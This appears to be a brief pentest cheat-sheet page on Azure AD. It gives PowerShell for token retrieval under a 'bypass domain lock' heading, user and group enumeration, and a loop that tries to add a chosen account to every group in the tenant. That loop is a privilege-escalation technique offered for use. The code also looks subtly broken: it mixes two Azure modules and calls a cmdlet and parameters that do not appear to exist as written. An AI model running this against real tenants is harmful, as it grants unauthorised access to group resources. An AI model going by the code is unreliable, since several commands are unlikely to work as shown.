AzureAD
Connect to AzureAD:
Connect-AzureAD
Bypass domain lock via Linux:
$token = Get-AzureToken | Select-Object Value
Get Azure User:
Get-AzADUser -ObjectId "email@domain.com"
# filter only ID for Group enum
Get-AzADUser -ObjectId "email@domain.com" | Select-Object Id
# Assign it a variable
$userId = (Get-AzADUser -ObjectId "email@domain.com").Id
Get Group:
Get-AzADGroup
# only ouput group-ID
Get-AzADGroup | Select-Object -Property Id
Auto Add to all groups:
# Import AzureAD Module
Import-Module AzureAD
# Connect to Azure AD
Connect-AzureAD
# Retrieve Your User ID
$userEmail = "email@domain.com" # Replace with your email
$userId = (Get-AzureADUser -Username $userEmail).ObjectId
# Confirm User ID
Write-Host "User ID retrieved: $userId"
# Retrieve all groups
$allGroups = Get-AzADGroup
$totalGroups = $allGroups.Count
# Confirm total number of groups found
Write-Host "Total number of groups found: $totalGroups"
# Loop through each group and try to add the user
foreach ($group in $allGroups) {
try {
Add-AzureADGroupMember -Group $group.DisplayName -Username $userEmail
Write-Host "Added user to group: $($group.DisplayName)"
} catch {
Write-Host "Failed to add user to group: $($group.DisplayName) - Error: $($_.Exception.Message)"
}
}
Last updated